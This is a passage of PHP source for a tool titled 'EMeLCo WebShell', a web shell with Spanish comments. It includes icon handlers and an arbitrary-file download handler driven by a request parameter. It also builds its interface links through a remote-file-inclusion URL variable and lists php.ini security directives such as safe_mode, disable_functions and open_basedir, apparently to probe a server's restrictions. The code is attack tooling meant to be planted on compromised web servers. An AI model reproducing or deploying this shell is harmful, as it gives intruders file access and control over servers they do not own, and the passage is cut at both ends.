  190.         die(base64_decode('R0lGODlhEAAQAMQAAGB3lYivyMDf/XiZt+Ts9ajT/Mbh/UlVa/P2+bLY/FRlfu3x9ZzN++Xy/rTR4ENLXN7v/tTk8Jm/1enx96jL3uDo7ykxQz5FVb2JAP+8Bv/RV6HQ/FSr9qfR+jhllf///yH5BAAAAAAALAAAAAAQABAAAAWV4CeOZClGjkNJUhAMsOdJohMRUz4RvNdxntrEQCQKGj6gQkRBFAXHpAex/EicBijy54FQRddslAspfD8BhBZDLpgPovQRo8l0C50NAf4ZLBp0GRhleXoPIn4RdYN4GxsMFYd9CwkKlgoAAwybFReICAkJeAUDAKYAC54fABEIOzwEFbILDhaImJcHBw8PFxcWVSbCIiEAOw=='));
    191. 

  191.     }elseif($_GET['imagen']=="eliminar"){
    192. 

  192.         die(base64_decode('R0lGODlhEAAQAMQfAPMyMpfL/HSUseYTE/5WVrzd/e3x9eXs9VdwkarU+0pXbbba/ISqxaLQ+/74+MLg/Ym77PD1+v+IiNrf51Jhe0RNX/729rHX/CkxQz9GVsvM0f7IyNRBRuDo8P///////yH5BAEAAB8ALAAAAAAQABAAAAWSoOdYnlie5ac63OBt3MTMQu2p5TAQXhQdwAMEcSsRBoDSY1mIQIYigIsg8TCbPorHMqieHoXCYnGJaL9LsJicMJcYkfT6ckm0Fe84eFy3Nw54HgwGamwJDYgHFSUCBmGGiA0BHYsejXN+kpMZjBFifYgBogacHggTEQZBHawdBhoYjAizFBQKChUVGRkYZyi/wCEAOw=='));
    193. 

  193.     }elseif($_GET['imagen']=="comandos"){
    194. 

  194.         die(base64_decode('R0lGODlhEAAQAMQfAHSUstdxbU1Zbvz9/4CwzVZtjeTs9Njq9+rx9o7B8d7LzbjTsISyhUiCRvb5/K7S5NXd36LQ+7TZ/PP2+sPh/ajL3ikxQz9HV+Hp8Jq/1czkt5PGeDhzKs9XUv///////yH5BAEAAB8ALAAAAAAQABAAAAWSoCeO5Pid3vE8VZYRBCADHvocBuKIgzcZiULN89D1Ap1AwDNAEISeyqDjQXau1M4AiriKlh7vFSK6DhrkMnWa1VIajLB3EWGb3wS5Z9GIOMRaDRsaIg8cDWwiGGYNcgoMbGkAUwMSenUdDhciAA4DlQciB3VNmx4FEBMIBqwYrhgIChacBbUFArgXuhcWAiW/vyEAOw=='));
    195. 

  195.     }elseif($_GET['imagen']=="archivonuevo"){
    196. 

  196.         die(base64_decode('R0lGODlhEAAQANUoAOLp8ElVa0NLXIivyJXK/D5FVYm77N7n7ykxQ5rA1svM0YS8O4C4OJXJSInAP5fLS362N4/ERJLHR5DFRdXb5JbKStXn8HqzM4vAQJ7O+1Jhe1dwkezx9nKsLeXt9XaXtKTR+7HX/PL2+sDf/bvc/avU+7ba/P///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACgALAAAAAAQABAAAAaXwJNwSByijifLqdM5JQaDj/RzQgofjaFn6zFsqsuKJOJojs4ig1fYmWAWEDOJJKpriIzLcEQymUIid05LZnx+ISWBQgNEc3+IiQGLImd9fyUlICAekicfHJWXmSAZHgJCn46QmhkZAKeeHJaIrAQEBwWoIn2rrbYcuScbFCIcWwDIAAccCgioG9AaGgEBAgIFBQiCRdxEQQA7'));
    197. 

  197.     }elseif($_GET['imagen']=="carpetanueva"){
    198. 

  198.         die(base64_decode('R0lGODlhEAAQANUnAP/3xffkl+vPMfbgjf3zxP7ztvnpofz36PPbg/vuw+3Oaf/78/HVdvbjqvjqtfz0z/bmsPnqvYvAQI/ERJfLS//204nAP5XJSHqzM5bKSoS8O5LHR362N4C4OJDFReu8Ruu2PeuyN+vGUXKsLeuuMvzurP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACcALAAAAAAQABAAAAaFwNPJRDQJj8ijaTQyJpFFyqX4FC4zm4mlWewSRx6JhtNUiESCtKDbwRQB8EIBsB4umwDRZw8ChUhGXiIHhAkJDgSAQyILjQclJQYBAQMJiiYiFXKQkgMICA6XIg+QkZQIDAwQlx8EnKcMCgoNrAQPDwQJEQ4QDQ0RrH3CIcTFl17IVFXLQQA7'));  
    199. 

  199.     }elseif($_GET['imagen']=="php"){
    200. 

  200.         die(base64_decode('R0lGODlhEAAQAMQfAOTq8+3x9pSty/L2+26NyLXa/JTI+lZtjYSiuFJrsUlVa8jj/oW05uft9XqVr9TZ6d3h76zU+93n8FJgebLD00NLXGqIqSkxQz5FVb/e/XuZ0MvM0Z/P+0BXo////////yH5BAEAAB8ALAAAAAAQABAAAAWloCeO5PidnoMggrA6sGN5qCA1AZ43DWAcNI8gsCgWM8gBgwH0UAbGBTJTGFibgYAm0ekmCIJCdSKSdDuBcyehiQzIns6gARkEBHMIe6AQdQAdEA1ogxAdBAB9cQEAD4CMEA9sABUiAoBqD2sEHBKVHg0ECVxeBAwGBhIYIhQeVAURERyzqAGrHhYPdjwAvQASARsXIg4HxhMTCgoVFRgYF3Al0iQhADs='));  
    201. 

  201.     }elseif($_GET['imagen']=="derecha"){
    202. 

  202.         die(base64_decode('R0lGODlhEAAQAMQfAJLNW3aXtMfj/pfL/OTr9IivyMvM0Vdwkb7e/UpXbfP2+azU+9Xo9Ovx9u32/mGNRIm77OPx/rXZ/H6xW1Jhe6/S5ERNX5rA1qjL3tvj6ykxQz9GVqDP+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWYoCeO5PidHlNV2HUVRSAHHloxRKM3RE9Ah5qn0hAYjYikAwIUYRRHAaKjdCgoogv0OO1IvtfstkPuALyLsKcAnQLegEknnRCxk4/J5D15CAh1HgENSWVmDxEcBBYig0kMEREdiBwDi42EXwsLHYkDAxkbjQoImgsclZ8Noh4HGQo8Pj0ZDQYajQe5FBQJCRYWGxsaWCXFJSEAOw=='));  
    203. 

  203.     }elseif($_GET['imagen']=="izquierda"){
    204. 

  204.         die(base64_decode('R0lGODlhEAAQAMQfAHaXtJLNW5fL/OTs9YivyMfj/tXb5Fdwkb3e/anT+0lVa/P2+dTn9Ovx9u32/mGNRIm77LXZ/H6xW1Jhe+Px/rTR4ENLXJrA1qjL3uDo7ykxQz5FVZ/P+2OPRf///////yH5BAEAAB8ALAAAAAAQABAAAAWaoCeO5PidHlNV2HURBCADHloxQ6M3Qz9Ah5qn0igYjYikAwIUYRbHQieJcDgWE9EFauxMEZEwVsvtBLxeRmLsIUAfkoD8TFkrRG4EXC6RdOoDdx4ADUkPAQ9oFBwDFiKESRGJFBQFHBwZjoOFYQkdlhwCAhkbjwtgEQmql6INpR4HBgs8Phm2DRUajwe8ExMKChbCGxpZJcclIQA7'));      
    205. 

  205.     }elseif($_GET['imagen']=="copiar"){
    206. 

  206.         die(base64_decode('R0lGODlhEAAQAMQfAHKQruzx9sfj/uXt9vL2+tXb5MHU4arT+7zd/YmwylVri5XK/IO76EhUaa/S5bPZ/Ha36VRie5/E2Ft6nt/o7ykxQ0FIVz1EVajL332hvNfn8HyjwI7B76HQ+////////yH5BAEAAB8ALAAAAAAQABAAAAWToCeO42een2c4jpRkAOChpudowxDk3FTWjoFAsGq9YrMUhiBg4XQ8X0rC5ASHAgSBw1CIEkzGEqslELwesIBBHSIQjwchItoEEAz1+3E4EBoiAHcQenwHHQOAHgAECBB2e4eIihMFBAaCcIcLCxQWgQoKEYyaHZwBFyQilQQ5FBQBBhVJNQChEQ0NFhcVdCiqwB4hADs='));      
    207. 

  207.     }else{
    208. 

  208.         die();
    209. 

  209.     }
    210. 

  210. // Esto es para descargar archivos. Va arriba porque no se puede mandar nada antes
    211. 

  211. }elseif (( $_GET['w'] == 'descargar' ) and (( $archivo = leerarchivo($_REQUEST['ruta'] ))!==FALSE)){
    212. 

  212.     header('Content-type: application/force-download');
    213. 

  213.     header('Content-Disposition: attachment; filename="'.urlencode(basename($_REQUEST['ruta']))."\"\n");
    214. 

  214.     die($archivo);
    215. 

  215. }
    216. 

  216. 

  217. // Mandamos el principio del html y el css
    218. 

  218. echo'
    219. 

  219. <html>
    220. 

  220. <head>
    221. 

  221.     <title>EMeLCo WebShell</title>
    222. 

  222.     <style>
    223. 

  223.         body{
    224. 

  224.             background-color: #ECF1EF;
    225. 

  225.             font-family: monospace;
    226. 

  226.         }
    227. 

  227.         table{
    228. 

  228.             font-size: 12px;
    229. 

  229.             color: #8B8378;
    230. 

  230.             font-family: monospace;
    231. 

  231.             margin-left: auto;
    232. 

  232.             margin-right: auto;
    233. 

  233.         }
    234. 

  234.         td{
    235. 

  235.             padding-right:10px;
    236. 

  236.             padding-left:10px;
    237. 

  237.             border: 1px dashed #BDB5AF;
    238. 

  238.         }
    239. 

  239.         .contenedor{
    240. 

  240.             border: 2px solid #333333;
    241. 

  241.             padding: 1% 2% 2% 1%;
    242. 

  242.             margin: 0 auto 0 auto;
    243. 

  243.             border-color: #CDC5BF
    244. 

  244.         }
    245. 

  245.         .contenedorgrande{
    246. 

  246.             background-color: #EBECE4;
    247. 

  247.             font-size: 12px;
    248. 

  248.             color: #8B8378;
    249. 

  249.             margin:2% auto 2% 2%;
    250. 

  250.             width:80%;
    251. 

  251.             border: 1px dashed #DDD5CF;
    252. 

  252.         }
    253. 

  253.         .n{
    254. 

  254.             font-weight: bold;
    255. 

  255.             color: #CD2626;
    256. 

  256.         }
    257. 

  257.         .s{
    258. 

  258.             font-weight: bold;
    259. 

  259.             color: #8ABD22;
    260. 

  260.         }
    261. 

  261.         .inline{
    262. 

  262.             display:inline;
    263. 

  263.         }
    264. 

  264.         .f{
    265. 

  265.             font-weight: bold;
    266. 

  266.             display: inline;
    267. 

  267.             color: #8B8878;
    268. 

  268.         }
    269. 

  269.         .ac{
    270. 

  270.             text-align:right;
    271. 

  271.         }
    272. 

  272.         .ai{
    273. 

  273.             border: none;
    274. 

  274.         }
    275. 

  275.         h2{
    276. 

  276.             display:inline;
    277. 

  277.             color: #EE7600;
    278. 

  278.             font-weight: bold;
    279. 

  279.         }
    280. 

  280.         h1{
    281. 

  281.             color: #EE7600;
    282. 

  282.             font-weight: bold;
    283. 

  283.             text-decoration: none;
    284. 

  284.         }
    285. 

  285.         a{
    286. 

  286.             color:#838B8B;
    287. 

  287.         }
    288. 

  288.         a.sinsubrayado{
    289. 

  289.             text-decoration: none;
    290. 

  290.         }
    291. 

  291.         a:hover{
    292. 

  292.             font-size:105%;
    293. 

  293.             font-weight: bold;
    294. 

  294.         }
    295. 

  295.         textarea:focus, textarea:hover, input:hover, input:focus {
    296. 

  296.             border: 2px solid #EE7621;
    297. 

  297.         }
    298. 

  298.         .headoculto{
    299. 

  299.             /*display:none;*/
    300. 

  300.             position: fixed;
    301. 

  301.             top:0;
    302. 

  302.             width: 17%;
    303. 

  303.             padding: 0 0 0 0;
    304. 

  304.             right: 0;
    305. 

  305.         }
    306. 

  306.         /* Estilo para el phpinfo */
    307. 

  307.         #phpinfo {width: 100%;}
    308. 

  308.         #phpinfo body, #phpinfo td, #phpinfo th, #phpinfo h1, #phpinfo h2 {font-family: sans-serif;}
    309. 

  309.         #phpinfo pre {margin: 0px; font-family: monospace;}
    310. 

  310.         #phpinfo a, #phpinfo a:link, #phpinfo a:hover {color: #EE7600; font-weight: bold; text-decoration: none; font-size:100%;}
    311. 

  311.         #phpinfo .e {background-color: #EBECE4; font-weight: bold; color: #8B8378;}
    312. 

  312.         #phpinfo .h {background-color: #ECF1EF; font-weight: bold; color: #8B8378;}
    313. 

  313.         #phpinfo .v {background-color: #ECF1EF; color: #8B8378;}
    314. 

  314.         #phpinfo td {font-size: 100%;}
    315. 

  315.         .center {text-align: center;}
    316. 

  316.         #phpinfo .center table { margin-left: auto; margin-right: auto; text-align: left;}
    317. 

  317.         #phpinfo .center th { text-align: center !important; }
    318. 

  318.         #phpinfo td {vertical-align: baseline;}
    319. 

  319.         #phpinfo th {border: 2px dashed #BDB5AF;}
    320. 

  320.         #phpinfo h1 {font-size: 150%;}
    321. 

  321.         #phpinfo h2 {font-size: 125%;}
    322. 

  322.         #phpinfo .p {text-align: left;}
    323. 

  323.         #phpinfo .vr {background-color: #cccccc; text-align: right; color: #000000;}
    324. 

  324.         #phpinfo img {float: right; border: 0px;}
    325. 

  325.         #phpinfo hr {width: 600px; background-color: #cccccc; border: 0px; height: 1px; color: #000000;}
    326. 

  326.     </style>    
    327. 

  327. </head>
    328. 

  328. <body'.(($_COOKIE['lateral']=='OFF')?' onload=ocultar() ':'').'>
    329. 

  329.     <div class="headoculto contenedorgrande contenedor" id="headoculto">
    330. 

  330.         <div style="float:left;width:10%;height:100%; position:relative; top:50%;">
    331. 

  331.             <br><br><br><br>
    332. 

  332.             <script>
    333. 

  333.             function ocultar(){
    334. 

  334.                 document.getElementById("flechaizquierda").style.display="";
    335. 

  335.                 document.getElementById("flechaderecha").style.display="none";
    336. 

  336.                 document.getElementById("headoculto").style.right="-16%";
    337. 

  337.                 document.getElementById("contenedorgrande").style.margin="2% auto 2% auto";
    338. 

  338.                 document.getElementById("contenedorabajo").style.margin="2% auto 2% auto";
    339. 

  339.                 document.cookie = "lateral=OFF; path=/";
    340. 

  340.             }
    341. 

  341.             function mostrar(){
    342. 

  342.                 document.getElementById("flechaizquierda").style.display="none";
    343. 

  343.                 document.getElementById("flechaderecha").style.display="";
    344. 

  344.                 document.getElementById("headoculto").style.right="0";
    345. 

  345.                 document.getElementById("contenedorgrande").style.margin="2% auto 2% 2%";
    346. 

  346.                 document.getElementById("contenedorabajo").style.margin="2% auto 2% 2%";
    347. 

  347.                 document.cookie = "lateral=ON; path=/";
    348. 

  348.             }
    349. 

  349.             </script>
    350. 

  350.             <img src="'.$rfiurl.'w=img&imagen=derecha" alt="&gt; &gt;" id="flechaderecha" onclick="ocultar();">
    351. 

  351.             <img src="'.$rfiurl.'w=img&imagen=izquierda" style="display:none;" id="flechaizquierda" alt="&lt; &lt;" onclick="mostrar();">
    352. 

  352.         </div>
    353. 

  353.         
    354. 

  354.         <div style="float:right; width: 90%; margin: auto 0 auto 0; overflow:auto;">'.mostrarinformacion().'
    355. 

  355.         </div>
    356. 

  356.     </div>
    357. 

  357.     <div class="contenedorgrande" id="contenedorgrande">
    358. 

  358.     <div class="contenedor">
    359. 

  359. ';
    360. 

    361. 

  361. 

  362. switch($_GET['w']){
    363. 

  363.     
    364. 

  364.     /* Mostramos las directivas mas importantes de php.ini y su explicación */
    365. 

  365.     case 'directivas';
    366. 

  366.         
    367. 

  367.         /* Creamos un array con todas las directivas y su descripcion */
    368. 

  368.         
    369. 

  369.         //safe mode http://ar2.php.net/manual/en/ini.sect.safe-mode.php
    370. 

  370.         $functions[]=array("<h2>Safe-Mode</h2>",'<a href="http://ar2.php.net/manual/en/ini.sect.safe-mode.php">http://ar2.php.net/manual/en/ini.sect.safe-mode.php</a>');
    371. 

  371.         $functions[]=leerconfig('safe_mode',' Whether to enable PHP&#039;s safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.');
    372. 

  372.         $functions[]=leerconfig('safe_mode_gid',' By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access. ');
    373. 

  373.         $functions[]=leerconfig('safe_mode_include_dir',' UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including). As of PHP 4.2.0, this directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that &quot;safe_mode_include_dir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: &quot;safe_mode_include_dir = /dir/incl/&quot; If the value of this directive is empty, no files with different UID/GID can be included in PHP 4.2.3 and as of PHP 4.3.3. In earlier versions, all files could be included. ');
    374. 

  374.         $functions[]=leerconfig('safe_mode_exec_dir',' If PHP is used in safe mode, system() and the other functions executing system programs  refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows. ');
    375. 

  375.         $functions[]=leerconfig('safe_mode_allowed_env_vars',' Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_  (e.g. PHP_FOO=BAR).     Note: If this directive is empty, PHP will let the user modify ANY environment variable! ');
    376. 

  376.         $functions[]=leerconfig('safe_mode_protected_env_vars',' This directive contains a comma-delimited list of environment variables that the end user won&#039;t be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them. ');
    377. 

  377.         $functions[]=leerconfig('open_basedir',' Limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it&#039;s not possible to avoid this restriction with a symlink. If the file doesn&#039;t exist then the symlink couldn&#039;t be resolved and the filename is compared to (a resolved) open_basedir. The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir(). In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with &quot;php_admin_value open_basedir none&quot;. Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited. The restriction specified with open_basedir is actually a prefix, not a directory name. This means that &quot;open_basedir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/ The default is to allow all files to be opened.      Note: As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set() ');
    378. 

  378.         $functions[]=leerconfig('disable_functions',' This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode.   This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
    379. 

  379.         $functions[]=leerconfig('disable_classes',' This directive allows you to disable certain classes for security reasons. It takes on a comma-delimited list of class names. disable_classes is not affected by Safe Mode.   This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
    380. 

  380.         
    381. 

  381.         //errores http://ar2.php.net/manual/en/errorfunc.configuration.php
    382. 

  382.         $functions[]=array("<h2>Errores</h2>",'<a href="http://ar2.php.net/manual/en/errorfunc.configuration.php">http://ar2.php.net/manual/en/errorfunc.configuration.php</a>');
    383. 

  383.         $functions[]=leerconfig('log_errors',' Tells whether script error messages should be logged to the server&#039;s error log or error_log. This option is thus server-specific.    Note: You&#039;re strongly advised to use error logging in place of error displaying on production web sites. ');
    384. 

  384.         $functions[]=leerconfig('log_errors_max_len',' Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg.      When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
    385. 

  385.         $functions[]=leerconfig('error_log',' Name of the file where script errors should be logged. The file should be writable by the web server&#039;s user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI.');
    386. 

  386.         $functions[]=leerconfig('error_reporting',' Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive. In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development. ');
    387. 

  387.         
    388. 

  388.         //Nucleo http://ar2.php.net/manual/en/ini.core.php
    389. 

  389.         $functions[]=array("<h2>Lenguaje</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    390. 

  390.         $functions[]=leerconfig('short_open_tag',' Tells whether the short form (&lt;? ?&gt; ) of PHP&#039;s open tag should be allowed. If you want to use PHP in combination with XML, you can disable this option in order to use &lt;?xml ?&gt;  inline. Otherwise, you can print it with PHP, for example: &lt;?php echo &#039;&lt;?xml version=&quot;1.0&quot;?&gt;&#039;; ?&gt; . Also if disabled, you must use the long form of the PHP open tag (&lt;?php ?&gt; ).    Note: This directive also affects the shorthand &lt;?= , which is identical to &lt;? echo . Use of this shortcut requires short_open_tag to be on. ');
    391. 

  391.         $functions[]=leerconfig('asp_tags',' Enables the use of ASP-like &lt;% %&gt; tags in addition to the usual &lt;?php ?&gt; tags. This includes the variable-value printing shorthand of &lt;%= $value %&gt;. For more information, see Escaping from HTML. ');
    392. 

  392.         
    393. 

  393.         //Limite de recursos http://ar2.php.net/manual/en/ini.core.php
    394. 

  394.         $functions[]=array("<h2>Limite de recursos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    395. 

  395.         $functions[]=leerconfig('memory_limit',' This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1. Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using -enable-memory-limit in the configure line. This was also required to define the functions memory_get_usage() and memory_get_peak_usage(). When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
    396. 

  396.         
    397. 

  397.         //Manejo de datos http://ar2.php.net/manual/en/ini.core.php
    398. 

  398.         $functions[]=array("<h2>Manejo de datos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    399. 

  399.         $functions[]=leerconfig('register_globals',' Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of ť PHP 4.2.0, this directive defaults to off. Please read the security chapter on Using register_globals for related information. Please note that register_globals cannot be set at runtime (ini_set()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off .    Note: register_globals is affected by the variables_order directive. ');
    400. 

  400.         $functions[]=leerconfig('post_max_size','Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize.   If memory limit is enabled by your configure script, memory_limit also affects file uploading. Generally speaking, memory_limit should be larger than post_max_size .  When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used.   If the size of post data is greater than post_max_size, the $_POST and $_FILES  superglobals  are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. &lt;form action=&quot;edit.php?processed=1&quot;&gt;, and then checking if $_GET[&#039;processed&#039;] is set.');
    401. 

  401.         $functions[]=leerconfig('gpc_order',' Set the order of GET/POST/COOKIE variable parsing. The default setting of this directive is "GPC". Setting this to "GP", for example, will cause PHP to completely ignore cookies and to overwrite any GET method variables with POST-method variables of the same name.    Note: This option is not available in PHP 4. Use variables_order instead. ');
    402. 

  402.         $functions[]=leerconfig('auto_prepend_file',' Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-prepending.');
    403. 

  403.         $functions[]=leerconfig('auto_append_file',' Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-appending.    Note: If the script is terminated with exit(), auto-append will not occur. ');
    404. 

  404.         $functions[]=leerconfig('default_charset',' As of 4.0.0, PHP always outputs a character encoding by default in the Content-type: header. To disable sending of the charset, simply set it to be empty. ');
    405. 

  405.         $functions[]=leerconfig('allow_webdav_methods',' Allow handling of WebDAV http requests within PHP scripts (eg. PROPFIND, PROPPATCH, MOVE, COPY, etc.). This directive does not exist as of PHP 4.3.2. If you want to get the post data of those requests, you have to set  always_populate_raw_post_data as well. ');
    406. 

  406. 

  407.         //Rutas y carpetas http://ar2.php.net/manual/en/ini.core.php
    408. 

  408.         $functions[]=array("<h2>Rutas y carpetas</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    409. 

  409.         $functions[]=leerconfig('include_path',' Specifies a list of directories where the require(), include(), fopen(), file(), readfile() and file_get_contents()  functions look for files. The format is like the system&#039;s PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows. ');
    410. 

  410.         $functions[]=leerconfig('doc_root',' PHP&#039;s &quot;root directory&quot; on the server. Only used if non-empty. If PHP is configured with safe mode, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should  set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the  cgi.force_redirect configuration below. ');
    411. 

  411.         $functions[]=leerconfig('user_dir',' The base name of the directory used on a user&#039;s home directory for PHP files, for example public_html.');
    412. 

  412.         $functions[]=leerconfig('extension_dir',' In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl(). ');
    413. 

  413.         $functions[]=leerconfig('extension',' Which dynamically loadable extensions to load when PHP starts up.');
    414. 

  414.         $functions[]=leerconfig('zend_extension',' Absolute path to dynamically loadable Zend extension (for example APD) to load when PHP starts up. ');
    415. 

  415.         $functions[]=leerconfig('zend_extension_debug',' Variant of zend_extension  for extensions compilled with debug info. ');
    416. 

  416.         $functions[]=leerconfig('zend_extension_debug_ts',' Variant of zend_extension  for extensions compilled with debug info and thread safety. ');
    417. 

  417.         $functions[]=leerconfig('zend_extension_ts',' Variant of zend_extension  for extensions compilled with thread safety. ');
    418. 

  418.         $functions[]=leerconfig('cgi.force_redirect',' cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk.    Note: Windows Users: You can safely turn this off for IIS, in fact, you must. To get OmniHTTPD or Xitami to work you must turn it off. ');
    419. 

  419.         
    420. 

  420.         //Subida de archivos http://ar2.php.net/manual/en/ini.core.php
    421. 

  421.         $functions[]=array("<h2>Subida de archivos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    422. 

  422.         $functions[]=leerconfig('file_uploads',' Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
    423. 

  423.         $functions[]=leerconfig('upload_tmp_dir','The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system&#039;s default. ');
    424. 

  424.         $functions[]=leerconfig('upload_max_filesize',' The maximum size of an uploaded file. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
    425. 

  425.         
    426. 

  426.         //SQL http://ar2.php.net/manual/en/ini.core.php
    427. 

  427.         $functions[]=array("<h2>SQL</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
    428. 

  428.         $functions[]=leerconfig('sql.safe_mode','If turned on, database connect functions that specify default values will use those values in place of supplied arguments. For default values see connect function documentation for the relevant database. ');
    429. 

  429.         
    430. 

  430.         //Ejecución http://ar2.php.net/manual/en/info.configuration.php
    431. 

  431.         $functions[]=array("<h2>Ejecuci&oacute;n</h2>",'<a href="http://ar2.php.net/manual/en/info.configuration.php">http://ar2.php.net/manual/en/info.configuration.php</a>, <a href="http://ar2.php.net/manual/en/filesystem.configuration.php">http://ar2.php.net/manual/en/filesystem.configuration.php</a>');
    432. 

  432.         $functions[]=leerconfig('enable_dl',' This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. The main reason for turning dynamic loading off is security. With dynamic loading, it&#039;s possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it&#039;s always impossible to use dl().');
    433. 

  433.         $functions[]=leerconfig('max_execution_time',' This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0. The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details. You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini. Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.');
    434. 

  434.         $functions[]=leerconfig('magic_quotes_gpc',' Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all &#039; (single-quote), &quot; (double quote), \ (backslash) and NUL&#039;s are escaped with a backslash automatically.    Note: In PHP 4, also $_ENV variables are escaped.    Note: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as &#039;&#039;. Double quotes, backslashes and NUL&#039;s will remain untouched and unescaped. ');
    435. 

  435.         $functions[]=leerconfig('magic_quotes_runtime','If magic_quotes_runtime  is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase  is also on, a single-quote is escaped with a single-quote instead of a backslash. ');
    436. 

  436.         $functions[]=leerconfig('allow_url_fopen',' This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files  using the ftp or http protocol, some extensions like zlib may register additional wrappers.    Note: This setting can only be set in php.ini due to security reasons.    Note: This option was introduced immediately after the release of version 4.0.3. For versions up to and including 4.0.3 you can only disable this feature at compile time by using the configuration switch --disable-url-fopen-wrapper . ');
    437. 

